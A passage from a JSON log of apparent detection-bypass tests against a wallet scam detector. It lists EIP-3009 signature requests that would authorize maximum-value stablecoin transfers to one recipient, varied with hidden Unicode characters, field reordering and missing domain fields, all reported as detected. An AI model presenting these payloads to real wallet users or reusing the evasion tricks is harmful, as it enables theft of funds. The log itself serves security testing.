"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"Tether USD\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xdAC17F958D2ee523a2206206994597C13D831ec7\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xb47097f08593042af8255d3ce3455388d611fdafc8b6bcd850e88897da0ab087\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-037", "timestamp": "2026-01-31T15:52:25.540Z", "technique": "EIP-3009 PYUSD token", "category": "eip3009", "description": "EIP-3009 on PayPal USD stablecoin", "expectedBypass": "Newer token might not be in detection list", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"PayPal USD\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0x6c3ea9036406852006290770BEdFcAbA0e23A0e8\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xdd4ece6ba5e10632236ed319b2f99766e02728dfca43458def8de28b54702f80\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-038", "timestamp": "2026-01-31T15:52:35.374Z", "technique": "EIP-3009 reverse message", "category": "eip3009", "description": "EIP-3009 with message fields in reverse order", "expectedBypass": "Field order in message might affect detection", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"nonce\":\"0xc200fa921d30db04fa3617132837da8799b159a31794d7db6647c7e8d13ef7f1\",\"validBefore\":\"1893456000\",\"validAfter\":\"0\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-039", "timestamp": "2026-01-31T15:52:42.817Z", "technique": "EIP-3009 hex chainId", "category": "eip3009", "description": "EIP-3009 with chainId as \"0x1\" instead of 1", "expectedBypass": "Hex chainId might not be normalized", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":\"0x1\",\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x63b053c1884998558696d681f2b4ec178abec7bf34e15836ef7bd1ef3d137947\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-040", "timestamp": "2026-01-31T15:52:50.382Z", "technique": "EIP-3009 extra message fields", "category": "eip3009", "description": "EIP-3009 with additional fields in message", "expectedBypass": "Extra fields might confuse structure matching", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"},{\"name\":\"memo\",\"type\":\"string\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x4c6a487e3a94daab4abf9c10b68bce1da2416236e6552d8f0f3bfd05a7b8d895\",\"memo\":\"Payment for services\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-041", "timestamp": "2026-01-31T15:53:00.171Z", "technique": "EIP-3009 RTL override", "category": "eip3009", "description": "EIP-3009 with RTL override in domain name", "expectedBypass": "RTL override can make text display differently", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD‮Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x7468522e50e7e2ade34bce2f0083df6c28b3d0e2615935b6a14cc1b22c1c5b09\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-042", "timestamp": "2026-01-31T15:53:07.758Z", "technique": "EIP-3009 whitespace domain", "category": "eip3009", "description": "EIP-3009 with trailing/leading whitespace in domain", "expectedBypass": "Whitespace might not be trimmed consistently", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" USD Coin \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xdc8abdc7b4e56e127fcf2a750efe7421b94b282c2eb86a0a9991fe9d9bc6b409\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-043", "timestamp": "2026-01-31T15:53:15.204Z", "technique": "EIP-3009 combo attack 1", "category": "eip3009", "description": "EIP-3009 with lowercase + hex value + reordered", "expectedBypass": "Multiple subtle changes might evade detection", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"TransferWithAuthorization\":[{\"name\":\"nonce\",\"type\":\"bytes32\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"from\",\"type\":\"address\"}],\"EIP712Domain\":[{\"name\":\"verifyingContract\",\"type\":\"address\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"name\",\"type\":\"string\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"0x0\",\"validBefore\":\"0x70E70A00\",\"nonce\":\"0xe4fd684fa309d3d588041df1f77b5784cf0183fede27c4734cce8ef410b237e5\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-044", "timestamp": "2026-01-31T15:53:25.001Z", "technique": "EIP-3009 combo attack 2", "category": "eip3009", "description": "EIP-3009 with unicode + numeric types + extra fields", "expectedBypass": "Combined techniques might bypass layered detection", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"},{\"name\":\"memo\",\"type\":\"string\"}],\"UnusedType\":[{\"name\":\"data\",\"type\":\"bytes\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD​Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":999999999999,\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xb7d5ed1e196feb5837d365dc1b4b6531880a7fe67fac3134a6df6c1e7645c5cc\",\"memo\":\"test\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-045", "timestamp": "2026-01-31T15:53:32.456Z", "technique": "EIP-3009 no version", "category": "eip3009", "description": "EIP-3009 with version field omitted from domain", "expectedBypass": "Missing optional field might not be handled", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x23ee54457509e197edb748015902e3c9a0ed8412c1f71dabcc34c993b23382f7\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-046", "timestamp": "2026-01-31T15:53:39.897Z", "technique": "EIP-3009 no chainId", "category": "eip3009", "description": "EIP-3009 with chainId omitted from domain", "expectedBypass": "Missing chainId might bypass chain-specific checks", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3f6625a72066ed82994a91511e2d262286cc2adddc1e3376b19bda2260dc499d\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-047", "timestamp": "2026-01-31T15:53:49.746Z", "technique": "EIP-3009 minimal domain", "category": "eip3009", "description": "EIP-3009 with minimal domain (only verifyingContract)", "expectedBypass": "Minimal domain might skip multiple checks", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xcee734a1f69dfc64e91dc719a614d81efe74d214753d864d9fb89d144da25911\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-048", "timestamp": "2026-01-31T15:53:57.194Z", "technique": "EIP-3009 domain type reorder", "category": "eip3009", "description": "EIP-3009 with EIP712Domain type fields reordered", "expectedBypass": "Domain type order might affect encoding", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"verifyingContract\",\"type\":\"address\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"name\",\"type\":\"string\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x8af422c8fdede5ba9229b77ad68078664d937d8dc40f14e122848bee147d272c\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-049", "timestamp": "2026-01-31T15:54:04.646Z", "technique": "EIP-3009 bare hex nonce", "category": "eip3009", "description": "EIP-3009 with nonce as hex string without 0x prefix", "expectedBypass": "Non-standard hex format might confuse parsing", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"abc123def456789012345678901234567890123456789012345678901234\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-050", "timestamp": "2026-01-31T15:54:14.436Z", "technique": "EIP-3009 tab in name", "category": "eip3009", "description": "EIP-3009 with tab character in domain name", "expectedBypass": "Tab characters might not display visibly", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\tCoin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xd650fcdd0be7ce24f4ab129815cfcd4d321685ddf3c2de78eb5d1377d57e3b5c\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-051", "timestamp": "2026-01-31T15:54:21.908Z", "technique": "EIP-3009 newline in name", "category": "eip3009", "description": "EIP-3009 with newline character in domain name", "expectedBypass": "Newlines might cause display issues", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\nCoin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x83e36bf77081b39f9663ba3af7ba1cfe830fa74ad3dd3c6e491023c2bae57df0\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-052", "timestamp": "2026-01-31T15:54:29.361Z", "technique": "EIP-3009 unicode fraction", "category": "eip3009", "description": "EIP-3009 domain with unicode fraction symbols", "expectedBypass": "Unicode numeric symbols might confuse parsing", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin ½\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x24527acbe40bc17bbae4037441fbd20936a8024d32f31202ea9b72047c7a080d\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-053", "timestamp": "2026-01-31T15:54:39.162Z", "technique": "EIP-3009 zero timestamps", "category": "eip3009", "description": "EIP-3009 with both validAfter and validBefore = 0", "expectedBypass": "Zero timestamps might be treated as unset", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"0\",\"nonce\":\"0x2cae73d841ac64ae2f5cebd51987cd8e0f64baf5a1bcb18ea3fec4d6c3006bbf\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-054", "timestamp": "2026-01-31T15:54:46.614Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD 